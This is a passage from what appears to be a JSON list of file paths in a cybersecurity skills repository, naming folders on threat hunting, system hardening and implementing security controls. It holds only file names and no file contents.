generating-and-analyzing-sboms/references/api-reference.md","skills/generating-and-analyzing-sboms/references/standards.md","skills/generating-forensic-timelines-with-hayabusa/SKILL.md","skills/generating-forensic-timelines-with-hayabusa/references/api-reference.md","skills/generating-forensic-timelines-with-hayabusa/references/standards.md","skills/generating-threat-intelligence-reports/SKILL.md","skills/generating-threat-intelligence-reports/references/api-reference.md","skills/hardening-docker-containers-for-production/SKILL.md","skills/hardening-docker-containers-for-production/assets/template.md","skills/hardening-docker-containers-for-production/references/api-reference.md","skills/hardening-docker-containers-for-production/references/standards.md","skills/hardening-docker-containers-for-production/references/workflows.md","skills/hardening-docker-daemon-configuration/SKILL.md","skills/hardening-docker-daemon-configuration/assets/template.md","skills/hardening-docker-daemon-configuration/references/api-reference.md","skills/hardening-docker-daemon-configuration/references/standards.md","skills/hardening-docker-daemon-configuration/references/workflows.md","skills/hardening-linux-endpoint-with-cis-benchmark/SKILL.md","skills/hardening-linux-endpoint-with-cis-benchmark/assets/template.md","skills/hardening-linux-endpoint-with-cis-benchmark/references/api-reference.md","skills/hardening-linux-endpoint-with-cis-benchmark/references/standards.md","skills/hardening-linux-endpoint-with-cis-benchmark/references/workflows.md","skills/hardening-windows-endpoint-with-cis-benchmark/SKILL.md","skills/hardening-windows-endpoint-with-cis-benchmark/assets/template.md","skills/hardening-windows-endpoint-with-cis-benchmark/references/api-reference.md","skills/hardening-windows-endpoint-with-cis-benchmark/references/standards.md","skills/hardening-windows-endpoint-with-cis-benchmark/references/workflows.md","skills/hunting-advanced-persistent-threats/SKILL.md","skills/hunting-advanced-persistent-threats/references/api-reference.md","skills/hunting-bootkits-in-efi-system-partition/SKILL.md","skills/hunting-bootkits-in-efi-system-partition/references/api-reference.md","skills/hunting-bootkits-in-efi-system-partition/references/standards.md","skills/hunting-credential-stuffing-attacks/SKILL.md","skills/hunting-credential-stuffing-attacks/references/api-reference.md","skills/hunting-evtx-with-chainsaw/SKILL.md","skills/hunting-evtx-with-chainsaw/references/api-reference.md","skills/hunting-evtx-with-chainsaw/references/standards.md","skills/hunting-for-anomalous-powershell-execution/SKILL.md","skills/hunting-for-anomalous-powershell-execution/references/api-reference.md","skills/hunting-for-beaconing-with-frequency-analysis/SKILL.md","skills/hunting-for-beaconing-with-frequency-analysis/assets/template.md","skills/hunting-for-beaconing-with-frequency-analysis/references/api-reference.md","skills/hunting-for-beaconing-with-frequency-analysis/references/standards.md","skills/hunting-for-beaconing-with-frequency-analysis/references/workflows.md","skills/hunting-for-cobalt-strike-beacons/SKILL.md","skills/hunting-for-cobalt-strike-beacons/references/api-reference.md","skills/hunting-for-command-and-control-beaconing/SKILL.md","skills/hunting-for-command-and-control-beaconing/assets/template.md","skills/hunting-for-command-and-control-beaconing/references/api-reference.md","skills/hunting-for-command-and-control-beaconing/references/standards.md","skills/hunting-for-command-and-control-beaconing/references/workflows.md","skills/hunting-for-data-exfiltration-indicators/SKILL.md","skills/hunting-for-data-exfiltration-indicators/assets/template.md","skills/hunting-for-data-exfiltration-indicators/references/api-reference.md","skills/hunting-for-data-exfiltration-indicators/references/standards.md","skills/hunting-for-data-exfiltration-indicators/references/workflows.md","skills/hunting-for-data-staging-before-exfiltration/SKILL.md","skills/hunting-for-data-staging-before-exfiltration/references/api-reference.md","skills/hunting-for-dcom-lateral-movement/SKILL.md","skills/hunting-for-dcom-lateral-movement/references/api-reference.md","skills/hunting-for-dcsync-attacks/SKILL.md","skills/hunting-for-dcsync-attacks/references/api-reference.md","skills/hunting-for-defense-evasion-via-timestomping/SKILL.md","skills/hunting-for-defense-evasion-via-timestomping/references/api-reference.md","skills/hunting-for-dns-based-persistence/SKILL.md","skills/hunting-for-dns-based-persistence/references/api-reference.md","skills/hunting-for-dns-tunneling-with-zeek/SKILL.md","skills/hunting-for-dns-tunneling-with-zeek/assets/template.md","skills/hunting-for-dns-tunneling-with-zeek/references/api-reference.md","skills/hunting-for-dns-tunneling-with-zeek/references/standards.md","skills/hunting-for-dns-tunneling-with-zeek/references/workflows.md","skills/hunting-for-domain-fronting-c2-traffic/SKILL.md","skills/hunting-for-domain-fronting-c2-traffic/references/api-reference.md","skills/hunting-for-lateral-movement-via-wmi/SKILL.md","skills/hunting-for-lateral-movement-via-wmi/references/api-reference.md","skills/hunting-for-living-off-the-cloud-techniques/SKILL.md","skills/hunting-for-living-off-the-cloud-techniques/assets/template.md","skills/hunting-for-living-off-the-cloud-techniques/references/api-reference.md","skills/hunting-for-living-off-the-cloud-techniques/references/standards.md","skills/hunting-for-living-off-the-cloud-techniques/references/workflows.md","skills/hunting-for-living-off-the-land-binaries/SKILL.md","skills/hunting-for-living-off-the-land-binaries/assets/template.md","skills/hunting-for-living-off-the-land-binaries/references/api-reference.md","skills/hunting-for-living-off-the-land-binaries/references/standards.md","skills/hunting-for-living-off-the-land-binaries/references/workflows.md","skills/hunting-for-lolbins-execution-in-endpoint-logs/SKILL.md","skills/hunting-for-lolbins-execution-in-endpoint-logs/assets/template.md","skills/hunting-for-lolbins-execution-in-endpoint-logs/references/api-reference.md","skills/hunting-for-lolbins-execution-in-endpoint-logs/references/standards.md","skills/hunting-for-lolbins-execution-in-endpoint-logs/references/workflows.md","skills/hunting-for-ntlm-relay-attacks/SKILL.md","skills/hunting-for-ntlm-relay-attacks/references/api-reference.md","skills/hunting-for-persistence-mechanisms-in-windows/SKILL.md","skills/hunting-for-persistence-mechanisms-in-windows/assets/template.md","skills/hunting-for-persistence-mechanisms-in-windows/references/api-reference.md","skills/hunting-for-persistence-mechanisms-in-windows/references/standards.md","skills/hunting-for-persistence-mechanisms-in-windows/references/workflows.md","skills/hunting-for-persistence-via-wmi-subscriptions/SKILL.md","skills/hunting-for-persistence-via-wmi-subscriptions/assets/template.md","skills/hunting-for-persistence-via-wmi-subscriptions/references/api-reference.md","skills/hunting-for-persistence-via-wmi-subscriptions/references/standards.md","skills/hunting-for-persistence-via-wmi-subscriptions/references/workflows.md","skills/hunting-for-process-injection-techniques/SKILL.md","skills/hunting-for-process-injection-techniques/references/api-reference.md","skills/hunting-for-registry-persistence-mechanisms/SKILL.md","skills/hunting-for-registry-persistence-mechanisms/assets/template.md","skills/hunting-for-registry-persistence-mechanisms/references/api-reference.md","skills/hunting-for-registry-persistence-mechanisms/references/standards.md","skills/hunting-for-registry-persistence-mechanisms/references/workflows.md","skills/hunting-for-registry-run-key-persistence/SKILL.md","skills/hunting-for-registry-run-key-persistence/references/api-reference.md","skills/hunting-for-scheduled-task-persistence/SKILL.md","skills/hunting-for-scheduled-task-persistence/assets/template.md","skills/hunting-for-scheduled-task-persistence/references/api-reference.md","skills/hunting-for-scheduled-task-persistence/references/standards.md","skills/hunting-for-scheduled-task-persistence/references/workflows.md","skills/hunting-for-shadow-copy-deletion/SKILL.md","skills/hunting-for-shadow-copy-deletion/assets/template.md","skills/hunting-for-shadow-copy-deletion/references/api-reference.md","skills/hunting-for-shadow-copy-deletion/references/standards.md","skills/hunting-for-shadow-copy-deletion/references/workflows.md","skills/hunting-for-spearphishing-indicators/SKILL.md","skills/hunting-for-spearphishing-indicators/assets/template.md","skills/hunting-for-spearphishing-indicators/references/api-reference.md","skills/hunting-for-spearphishing-indicators/references/standards.md","skills/hunting-for-spearphishing-indicators/references/workflows.md","skills/hunting-for-startup-folder-persistence/SKILL.md","skills/hunting-for-startup-folder-persistence/references/api-reference.md","skills/hunting-for-supply-chain-compromise/SKILL.md","skills/hunting-for-supply-chain-compromise/assets/template.md","skills/hunting-for-supply-chain-compromise/references/api-reference.md","skills/hunting-for-supply-chain-compromise/references/standards.md","skills/hunting-for-supply-chain-compromise/references/workflows.md","skills/hunting-for-suspicious-scheduled-tasks/SKILL.md","skills/hunting-for-suspicious-scheduled-tasks/assets/template.md","skills/hunting-for-suspicious-scheduled-tasks/references/api-reference.md","skills/hunting-for-suspicious-scheduled-tasks/references/standards.md","skills/hunting-for-suspicious-scheduled-tasks/references/workflows.md","skills/hunting-for-t1098-account-manipulation/SKILL.md","skills/hunting-for-t1098-account-manipulation/references/api-reference.md","skills/hunting-for-unusual-network-connections/SKILL.md","skills/hunting-for-unusual-network-connections/assets/template.md","skills/hunting-for-unusual-network-connections/references/api-reference.md","skills/hunting-for-unusual-network-connections/references/standards.md","skills/hunting-for-unusual-network-connections/references/workflows.md","skills/hunting-for-unusual-service-installations/SKILL.md","skills/hunting-for-unusual-service-installations/references/api-reference.md","skills/hunting-for-webshell-activity/SKILL.md","skills/hunting-for-webshell-activity/assets/template.md","skills/hunting-for-webshell-activity/references/api-reference.md","skills/hunting-for-webshell-activity/references/standards.md","skills/hunting-for-webshell-activity/references/workflows.md","skills/hunting-saas-sso-token-abuse/SKILL.md","skills/hunting-saas-sso-token-abuse/references/api-reference.md","skills/hunting-saas-sso-token-abuse/references/standards.md","skills/implementing-aes-encryption-for-data-at-rest/SKILL.md","skills/implementing-aes-encryption-for-data-at-rest/assets/template.md","skills/implementing-aes-encryption-for-data-at-rest/references/api-reference.md","skills/implementing-aes-encryption-for-data-at-rest/references/standards.md","skills/implementing-aes-encryption-for-data-at-rest/references/workflows.md","skills/implementing-alert-fatigue-reduction/SKILL.md","skills/implementing-alert-fatigue-reduction/references/api-reference.md","skills/implementing-anti-phishing-training-program/SKILL.md","skills/implementing-anti-phishing-training-program/assets/template.md","skills/implementing-anti-phishing-training-program/references/api-reference.md","skills/implementing-anti-phishing-training-program/references/standards.md","skills/implementing-anti-phishing-training-program/references/workflows.md","skills/implementing-anti-ransomware-group-policy/SKILL.md","skills/implementing-anti-ransomware-group-policy/references/api-reference.md","skills/implementing-api-abuse-detection-with-rate-limiting/SKILL.md","skills/implementing-api-abuse-detection-with-rate-limiting/references/api-reference.md","skills/implementing-api-gateway-security-controls/SKILL.md","skills/implementing-api-gateway-security-controls/references/api-reference.md","skills/implementing-api-key-security-controls/SKILL.md","skills/implementing-api-key-security-controls/references/api-reference.md","skills/implementing-api-rate-limiting-and-throttling/SKILL.md","skills/implementing-api-rate-limiting-and-throttling/references/api-reference.md","skills/implementing-api-schema-validation-security/SKILL.md","skills/implementing-api-schema-validation-security/references/api-reference.md","skills/implementing-api-security-posture-management/SKILL.md","skills/implementing-api-security-posture-management/references/api-reference.md","skills/implementing-api-security-testing-with-42crunch/SKILL.md","skills/implementing-api-security-testing-with-42crunch/references/api-reference.md","skills/implementing-api-threat-protection-with-apigee/SKILL.md","skills/implementing-api-threat-protection-with-apigee/references/api-reference.md","skills/implementing-application-whitelisting-with-applocker/SKILL.md","skills/implementing-application-whitelisting-with-applocker/assets/template.md","skills/implementing-application-whitelisting-with-applocker/references/api-reference.md","skills/implementing-application-whitelisting-with-applocker/references/standards.md","skills/implementing-application-whitelisting-with-applocker/references/workflows.md","skills/implementing-aqua-security-for-container-scanning/SKILL.md","skills/implementing-aqua-security-for-container-scanning/assets/template.md","skills/implementing-aqua-security-for-container-scanning/references/api-reference.md","skills/implementing-aqua-security-for-container-scanning/references/standards.md","skills/implementing-aqua-security-for-container-scanning/references/workflows.md","skills/implementing-attack-path-analysis-with-xm-cyber/SKILL.md","skills/implementing-attack-path-analysis-with-xm-cyber/assets/template.md","skills/implementing-attack-path-analysis-with-xm-cyber/references/api-reference.md","skills/implementing-attack-path-analysis-with-xm-cyber/references/standards.md","skills/implementing-attack-path-analysis-with-xm-cyber/references/workflows.md","skills/implementing-attack-surface-management/SKILL.md","skills/implementing-attack-surface-management/references/api-reference.md","skills/implementing-attack-surface-management/references/asm-reference.md","skills/implementing-aws-config-rules-for-compliance/SKILL.md","skills/implementing-aws-config-rules-for-compliance/references/api-reference.md","skills/implementing-aws-iam-permission-boundaries/SKILL.md","skills/implementing-aws-iam-permission-boundaries/assets/template.md","skills/implementing-aws-iam-permission-boundaries/references/api-reference.md","skills/implementing-aws-iam-permission-boundaries/references/standards.md","skills/implementing-aws-iam-permission-boundaries/references/workflows.md","skills/implementing-aws-macie-for-data-classification/SKILL.md","skills/implementing-aws-macie-for-data-classification/assets/template.md","skills/implementing-aws-macie-for-data-classification/references/api-reference.md","skills/implementing-aws-macie-for-data-classification/references/standards.md","skills/implementing-aws-macie-for-data-classification/references/workflows.md","skills/implementing-aws-nitro-enclave-security/SKILL.md","skills/implementing-aws-nitro-enclave-security/references/api-reference.md","skills/implementing-aws-security-hub-compliance/SKILL.md","skills/implementing-aws-security-hub-compliance/references/api-reference.md","skills/implementing-aws-security-hub/SKILL.md","skills/implementing-aws-security-hub/references/api-reference.md","skills/implementing-azure-ad-privileged-identity-management/SKILL.md","skills/implementing-azure-ad-privileged-identity-management/assets/template.md","skills/implementing-azure-ad-privileged-identity-management/references/api-reference.md","skills/implementing-azure-ad-privileged-identity-management/references/standards.md","skills/implementing-azure-ad-privileged-identity-management/references/workflows.md","skills/implementing-azure-defender-for-cloud/SKILL.md","skills/implementing-azure-defender-for-cloud/references/api-reference.md","skills/implementing-beyondcorp-zero-trust-access-model/SKILL.md","skills/implementing-beyondcorp-zero-trust-access-model/assets/template.md","skills/implementing-beyondcorp-zero-trust-access-model/references/api-reference.md","skills/implementing-beyondcorp-zero-trust-access-model/references/standards.md","skills/implementing-beyondcorp-zero-trust-access-model/references/workflows.md","skills/implementing-bgp-security-with-rpki/SKILL.md","skills/implementing-bgp-security-with-rpki/references/api-reference.md","skills/implementing-browser-isolation-for-zero-trust/SKILL.md","skills/implementing-browser-isolation-for-zero-trust/references/api-reference.md","skills/implementing-canary-tokens-for-network-intrusion/SKILL.md","skills/implementing-canary-tokens-for-network-intrusion/references/api-reference.md","skills/implementing-cisa-zero-trust-maturity-model/SKILL.md","skills/implementing-cisa-zero-trust-maturity-model/assets/template.md","skills/implementing-cisa-zero-trust-maturity-model/references/api-reference.md","skills/implementing-cisa-zero-trust-maturity-model/references/standards.md","skills/implementing-cisa-zero-trust-maturity-model/references/workflows.md","skills/implementing-cloud-dlp-for-data-protection/SKILL.md","skills/implementing-cloud-dlp-for-data-protection/references/api-reference.md","skills/implementing-cloud-security-posture-management/SKILL.es.md","skills/implementing-cloud-security-posture-management/SKILL.md","skills/implementing-cloud-security-posture-management/references/api-reference.md","skills/implementing-cloud-trail-log-analysis/SKILL.md","skills/implementing-cloud-trail-log-analysis/references/api-reference.md","skills/implementing-cloud-vulnerability-posture-management/SKILL.md","skills/implementing-cloud-vulnerability-posture-management/assets/template.md","skills/implementing-cloud-vulnerability-posture-management/references/api-reference.md","skills/implementing-cloud-vulnerability-posture-management/references/standards.md","skills/implementing-cloud-vulnerability-posture-management/references/workflows.md","skills/implementing-cloud-waf-rules/SKILL.md","skills/implementing-cloud-waf-rules/references/api-reference.md","skills/implementing-cloud-workload-protection/SKILL.md","skills/implementing-cloud-workload-protection/references/api-reference.md","skills/implementing-code-signing-for-artifacts/SKILL.md","skills/implementing-code-signing-for-artifacts/assets/template.md","skills/implementing-code-signing-for-artifacts/references/api-reference.md","skills/implementing-code-signing-for-artifacts/references/standards.md","skills/implementing-code-signing-for-artifacts/references/workflows.md","skills/implementing-conditional-access-policies-azure-ad/SKILL.md","skills/implementing-conditional-access-policies-azure-ad/references/api-reference.md","skills/implementing-conduit-security-for-ot-remote-access/SKILL.md","skills/implementing-conduit-security-for-ot-remote-access/references/api-reference.md","skills/implementing-container-image-minimal-base-with-distroless/SKILL.md","skills/implementing-container-image-minimal-base-with-distroless/assets/template.md","skills/implementing-container-image-minimal-base-with-distroless/references/api-reference.md","skills/implementing-container-image-minimal-base-with-distroless/references/standards.md","skills/implementing-container-image-minimal-base-with-distroless/references/workflows.md","skills/implementing-container-network-policies-with-calico/SKILL.md","skills/implementing-container-network-policies-with-calico/references/api-reference.md","skills/implementing-continuous-security-validation-with-bas/SKILL.md","skills/implementing-continuous-security-validation-with-bas/assets/template.md","skills/implementing-continuous-security-validation-with-bas/references/api-reference.md","skills/implementing-continuous-security-validation-with-bas/references/standards.md","skills/implementing-continuous-security-validation-with-bas/references/workflows.md","skills/implementing-data-loss-prevention-with-microsoft-purview/SKILL.md","skills/implementing-data-loss-prevention-with-microsoft-purview/references/api-reference.md","skills/implementing-ddos-mitigation-with-cloudflare/SKILL.md","skills/implementing-ddos-mitigation-with-cloudflare/references/api-reference.md","skills/implementing-deception-based-detection-with-canarytoken/SKILL.md","skills/implementing-deception-based-detection-with-canarytoken/references/api-reference.md","skills/implementing-delinea-secret-server-for-pam/SKILL.md","skills/implementing-delinea-secret-server-for-pam/references/api-reference.md","skills/implementing-device-posture-assessment-in-zero-trust/SKILL.md","skills/implementing-device-posture-assessment-in-zero-trust/assets/template.md","skills/implementing-device-posture-assessment-in-zero-trust/references/api-reference.md","skills/implementing-device-posture-assessment-in-zero-trust/references/standards.md","skills/implementing-device-posture-assessment-in-zero-trust/references/workflows.md","skills/implementing-devsecops-security-scanning/SKILL.md","skills/implementing-devsecops-security-scanning/references/api-reference.md","skills/implementing-diamond-model-analysis/SKILL.md","skills/implementing-diamond-model-analysis/assets/template.md","skills/implementing-diamond-model-analysis/references/api-reference.md","skills/implementing-diamond-model-analysis/references/standards.md","skills/implementing-diamond-model-analysis/references/workflows.md","skills/implementing-digital-signatures-with-ed25519/SKILL.md","skills/implementing-digital-signatures-with-ed25519/assets/template.md","skills/implementing-digital-signatures-with-ed25519/references/api-reference.md","skills/implementing-digital-signatures-with-ed25519/references/standards.md","skills/implementing-digital-signatures-with-ed25519/references/workflows.md","skills/implementing-disk-encryption-with-bitlocker/SKILL.md","skills/implementing-disk-encryption-with-bitlocker/assets/template.md","skills/implementing-disk-encryption-with-bitlocker/references/api-reference.md","skills/implementing-disk-encryption-with-bitlocker/references/standards.md","skills/implementing-disk-encryption-with-bitlocker/references/workflows.md","skills/implementing-dmarc-dkim-spf-email-security/SKILL.md","skills/implementing-dmarc-dkim-spf-email-security/assets/template.md","skills/implementing-dmarc-dkim-spf-email-security/references/api-reference.md","skills/implementing-dmarc-dkim-spf-email-security/references/standards.md","skills/implementing-dmarc-dkim-spf-email-security/references/workflows.md","skills/implementing-dragos-platform-for-ot-monitoring/SKILL.md","skills/implementing-dragos-platform-for-ot-monitoring/references/api-reference.md","skills/implementing-ebpf-security-monitoring/SKILL.md","skills/implementing-ebpf-security-monitoring/references/api-reference.md","skills/implementing-email-sandboxing-with-proofpoint/SKILL.md","skills/implementing-email-sandboxing-with-proofpoint/assets/template.md","skills/implementing-email-sandboxing-with-proofpoint/references/api-reference.md","skills/implementing-email-sandboxing-with-proofpoint/references/standards.md","skills/implementing-email-sandboxing-with-proofpoint/references/workflows.md","skills/implementing-end-to-end-encryption-for-messaging/SKILL.md","skills/implementing-end-to-end-encryption-for-messaging/assets/template.md","skills/implementing-end-to-end-encryption-for-messaging/references/api-reference.md","skills/implementing-end-to-end-encryption-for-messaging/references/standards.md","skills/implementing-end-to-end-encryption-for-messaging/references/workflows.md","skills/implementing-endpoint-detection-with-wazuh/SKILL.md","skills/implementing-endpoint-detection-with-wazuh/references/api-reference.md","skills/implementing-endpoint-dlp-controls/SKILL.md","skills/implementing-endpoint-dlp-controls/assets/template.md","skills/implementing-endpoint-dlp-controls/references/api-reference.md","skills/implementing-endpoint-dlp-controls/references/standards.md","skills/implementing-endpoint-dlp-controls/references/workflows.md","skills/implementing-envelope-encryption-with-aws-kms/SKILL.md","skills/implementing-envelope-encryption-with-aws-kms/assets/template.md","skills/implementing-envelope-encryption-with-aws-kms/references/api-reference.md","skills/implementing-envelope-encryption-with-aws-kms/references/standards.md","skills/implementing-envelope-encryption-with-aws-kms/references/workflows.md","skills/implementing-epss-score-for-vulnerability-prioritization/SKILL.md","skills/implementing-epss-score-for-vulnerability-prioritization/assets/template.md","skills/implementing-epss-score-for-vulnerability-prioritization/references/api-reference.md","skills/implementing-epss-score-for-vulnerability-prioritization/references/standards.md","skills/implementing-epss-score-for-vulnerability-prioritization/references/workflows.md","skills/implementing-file-integrity-monitoring-with-aide/SKILL.md","skills/implementing-file-integrity-monitoring-with-aide/references/api-reference.md","skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/SKILL.md","skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/assets/template.md","skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/references/api-reference.md","skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/references/standards.md","skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/references/workflows.md","skills/implementing-gcp-binary-authorization/SKILL.md","skills/implementing-gcp-binary-authorization/assets/template.md","skills/implementing-gcp-binary-authorization/references/api-reference.md","skills/implementing-gcp-binary-authorization/references/standards.md","skills/implementing-gcp-binary-authorization/references/workflows.md","skills/implementing-gcp-organization-policy-constraints/SKILL.md","skills/implementing-gcp-organization-policy-constraints/assets/template.md","skills/implementing-gcp-organization-policy-constraints/references/api-reference.md","skills/implementing-gcp-organization-policy-constraints/references/standards.md","skills/implementing-gcp-organization-policy-constraints/references/workflows.md","skills/implementing-gcp-vpc-firewall-rules/SKILL.md","skills/implementing-gcp-vpc-firewall-rules/references/api-reference.md","skills/implementing-gdpr-data-protection-controls/SKILL.md","skills/implementing-gdpr-data-protection-controls/assets/template.md","skills/implementing-gdpr-data-protection-controls/references/api-reference.md","skills/implementing-gdpr-data-protection-controls/references/standards.md","skills/implementing-gdpr-data-protection-controls/references/workflows.md","skills/implementing-gdpr-data-subject-access-request/SKILL.md","skills/implementing-gdpr-data-subject-access-request/references/api-reference.md","skills/implementing-github-advanced-security-for-code-scanning/SKILL.md","skills/implementing-github-advanced-security-for-code-scanning/assets/template.md","skills/implementing-github-advanced-security-for-code-scanning/references/api-reference.md","skills/implementing-github-advanced-security-for-code-scanning/references/standards.md","skills/implementing-github-advanced-security-for-code-scanning/references/workflows.md","skills/implementing-google-workspace-admin-security/SKILL.md","skills/implementing-google-workspace-admin-security/references/api-reference.md","skills/implementing-google-workspace-phishing-protection/SKILL.md","skills/implementing-google-workspace-phishing-protection/assets/template.md","skills/implementing-google-workspace-phishing-protection/references/api-reference.md","skills/implementing-google-workspace-phishing-protection/references/standards.md","skills/implementing-google-workspace-phishing-protection/references/workflows.md","skills/implementing-google-workspace-sso-configuration/SKILL.md","skills/implementing-google-workspace-sso-configuration/assets/template.md","skills/implementing-google-workspace-sso-configuration/references/api-reference.md","skills/implementing-google-workspace-sso-configuration/references/standards.md","skills/implementing-google-workspace-sso-configuration/references/workflows.md","skills/implementing-hardware-security-key-authentication/SKILL.md","skills/implementing-hardware-security-key-authentication/references/api-reference.md","skills/implementing-hashicorp-vault-dynamic-secrets/SKILL.md","skills/implementing-hashicorp-vault-dynamic-secrets/references/api-reference.md","skills/implementing-hipaa-security-rule-safeguards/SKILL.md","skills/implementing-hipaa-security-rule-safeguards/assets/template.md","skills/implementing-hipaa-security-rule-safeguards/references/standards.md","skills/implementing-honeypot-for-ransomware-detection/SKILL.md","skills/implementing-honeypot-for-ransomware-detection/assets/template.md","skills/implementing-honeypot-for-ransomware-detection/references/api-reference.md","skills/implementing-honeypot-for-ransomware-detection/references/standards.md","skills/implementing-honeypot-for-ransomware-detection/references/workflows.md","skills/implementing-honeytokens-for-breach-detection/SKILL.md","skills/implementing-honeytokens-for-breach-detection/references/api-reference.md","skills/implementing-ics-firewall-with-tofino/SKILL.md","skills/implementing-ics-firewall-with-tofino/references/api-reference.md","skills/implementing-identity-governance-with-sailpoint/SKILL.md","skills/implementing-identity-governance-with-sailpoint/references/api-reference.md","skills/implementing-identity-verification-for-zero-trust/SKILL.md","skills/implementing-identity-verification-for-zero-trust/assets/template.md","skills/implementing-identity-verification-for-zero-trust/references/api-reference.md","skills/implementing-identity-verification-for-zero-trust/references/standards.md","skills/implementing-identity-verification-for-zero-trust/references/workflows.md","skills/implementing-iec-62443-security-zones/SKILL.md","skills/implementing-iec-62443-security-zones/references/api-reference.md","skills/implementing-image-provenance-verification-with-cosign/SKILL.md","skills/implementing-image-provenance-verification-with-cosign/assets/template.md","skills/implementing-image-provenance-verification-with-cosign/references/api-reference.md","skills/implementing-image-provenance-verification-with-cosign/references/standards.md","skills/implementing-image-provenance-verification-with-cosign/references/workflows.md","skills/implementing-immutable-backup-with-restic/SKILL.md","skills/implementing-immutable-backup-with-restic/references/api-reference.md","skills/implementing-infrastructure-as-code-security-scanning/SKILL.md","skills/implementing-infrastructure-as-code-security-scanning/assets/template.md","skills/implementing-infrastructure-as-code-security-scanning/references/api-reference.md","skills/implementing-infrastructure-as-code-security-scanning/references/standards.md","skills/implementing-infrastructure-as-code-security-scanning/references/workflows.md","skills/implementing-iso-27001-information-security-management/SKILL.md","skills/implementing-iso-27001-information-security-management/assets/template.md","skills/implementing-iso-27001-information-security-management/references/api-reference.md","skills/implementing-iso-27001-information-security-management/references/standards.md","skills/implementing-iso-27001-information-security-management/references/workflows.md","skills/implementing-just-in-time-access-provisioning/SKILL.md","skills/implementing-just-in-time-access-provisioning/assets/template.md","skills/implementing-just-in-time-access-provisioning/references/api-reference.md","skills/implementing-just-in-time-access-provisioning/references/standards.md","skills/implementing-just-in-time-access-provisioning/references/workflows.md","skills/implementing-jwt-signing-and-verification/SKILL.md","skills/implementing-jwt-signing-and-verification/assets/template.md","skills/implementing-jwt-signing-and-verification/references/api-reference.md","skills/implementing-jwt-signing-and-verification/references/standards.md","skills/implementing-jwt-signing-and-verification/references/workflows.md","skills/implementing-kubernetes-network-policy-with-calico/SKILL.md","skills/implementing-kubernetes-network-policy-with-calico/assets/template.md","skills/implementing-kubernetes-network-policy-with-calico/references/api-reference.md","skills/implementing-kubernetes-network-policy-with-calico/references/standards.md","skills/implementing-kubernetes-network-policy-with-calico/references/workflows.md","skills/implementing-kubernetes-pod-security-standards/SKILL.md","skills/implementing-kubernetes-pod-security-standards/assets/template.md","skills/implementing-kubernetes-pod-security-standards/references/api-reference.md","skills/implementing-kubernetes-pod-security-standards/references/standards.md","skills/implementing-kubernetes-pod-security-standards/references/workflows.md","skills/implementing-llm-guardrails-for-security/SKILL.md","skills/implementing-llm-guardrails-for-security/references/api-reference.md","skills/implementing-log-forwarding-with-fluentd/SKILL.md","skills/implementing-log-forwarding-with-fluentd/references/api-reference.md","skills/implementing-log-integrity-with-blockchain/SKILL.md","skills/implementing-log-integrity-with-blockchain/references/api-reference.md","skills/implementing-memory-protection-with-dep-aslr/SKILL.md","skills/implementing-memory-protection-with-dep-aslr/assets/template.md","skills/implementing-memory-protection-with-dep-aslr/references/api-reference.md","skills/implementing-memory-protection-with-dep-aslr/references/standards.md","skills/implementing-memory-protection-with-dep-aslr/references/workflows.md","skills/implementing-microsegmentation-with-guardicore/SKILL.md","skills/implementing-microsegmentation-with-guardicore/references/api-reference.md","skills/implementing-mimecast-targeted-attack-protection/SKILL.md","skills/implementing-mimecast-targeted-attack-protection/assets/template.md","skills/implementing-mimecast-targeted-attack-protection/references/api-reference.md","skills/implementing-mimecast-targeted-attack-protection/references/standards.md","skills/implementing-mimecast-targeted-attack-protection/references/workflows.md","skills/implementing-mitre-attack-coverage-mapping/SKILL.md","skills/implementing-mitre-attack-coverage-mapping/assets/template.md","skills/implementing-mitre-attack-coverage-mapping/references/api-reference.md","skills/implementing-mitre-attack-coverage-mapping/references/standards.md","skills/implementing-mitre-attack-coverage-mapping/references/workflows.md","skills/implementing-mobile-application-management/SKILL.md","skills/implementing-mobile-application-management/assets/template.md","skills/implementing-mobile-application-management/references/api-reference.md","skills/implementing-mobile-application-management/references/standards.md","skills/implementing-mobile-application-management/references/workflows.md","skills/implementing-mtls-for-zero-trust-services/SKILL.md","skills/implementing-mtls-for-zero-trust-services/references/api-reference.md","skills/implementing-nerc-cip-compliance-controls/SKILL.md","skills/implementing-nerc-cip-compliance-controls/references/api-reference.md","skills/implementing-network-access-control-with-cisco-ise/SKILL.md","skills/implementing-network-access-control-with-cisco-ise/references/api-reference.md","skills/implementing-network-access-control/SKILL.md","skills/implementing-network-access-control/references/api-reference.md","skills/implementing-network-deception-with-honeypots/SKILL.md","skills/implementing-network-deception-with-honeypots/references/api-reference.md","skills/implementing-network-intrusion-prevention-with-suricata/SKILL.md","skills/implementing-network-intrusion-prevention-with-suricata/references/api-reference.md","skills/implementing-network-policies-for-kubernetes/SKILL.md","skills/implementing-network-policies-for-kubernetes/assets/template.md","skills/implementing-network-policies-for-kubernetes/references/api-reference.md","skills/implementing-network-policies-for-kubernetes/references/standards.md","skills/implementing-network-policies-for-kubernetes/references/workflows.md","skills/implementing-network-segmentation-for-ot/SKILL.md","skills/implementing-network-segmentation-for-ot/references/api-reference.md","skills/implementing-network-segmentation-with-firewall-zones/SKILL.md","skills/implementing-network-segmentation-with-firewall-zones/references/api-reference.md","skills/implementing-network-traffic-analysis-with-arkime/SKILL.md","skills/implementing-network-traffic-analysis-with-arkime/references/api-reference.md","skills/implementing-network-traffic-baselining/SKILL.md","skills/implementing-network-traffic-baselining/references/api-reference.md","skills/implementing-next-generation-firewall-with-palo-alto/SKILL.md","skills/implementing-next-generation-firewall-with-palo-alto/assets/template.md","skills/implementing-next-generation-firewall-with-palo-alto/references/api-reference.md","skills/implementing-next-generation-firewall-with-palo-alto/references/standards.md","skills/implementing-next-generation-firewall-with-palo-alto/references/workflows.md","skills/implementing-opa-gatekeeper-for-policy-enforcement/SKILL.md","skills/implementing-opa-gatekeeper-for-policy-enforcement/assets/template.md","skills/implementing-opa-gatekeeper-for-policy-enforcement/references/api-reference.md","skills/implementing-opa-gatekeeper-for-policy-enforcement/references/standards.md","skills/implementing-opa-gatekeeper-for-policy-enforcement/references/workflows.md","skills/implementing-ot-incident-response-playbook/SKILL.md","skills/implementing-ot-incident-response-playbook/references/api-reference.md","skills/implementing-ot-network-traffic-analysis-with-nozomi/SKILL.md","skills/implementing-ot-network-traffic-analysis-with-nozomi/references/api-reference.md","skills/implementing-pam-for-database-access/SKILL.md","skills/implementing-pam-for-database-access/references/api-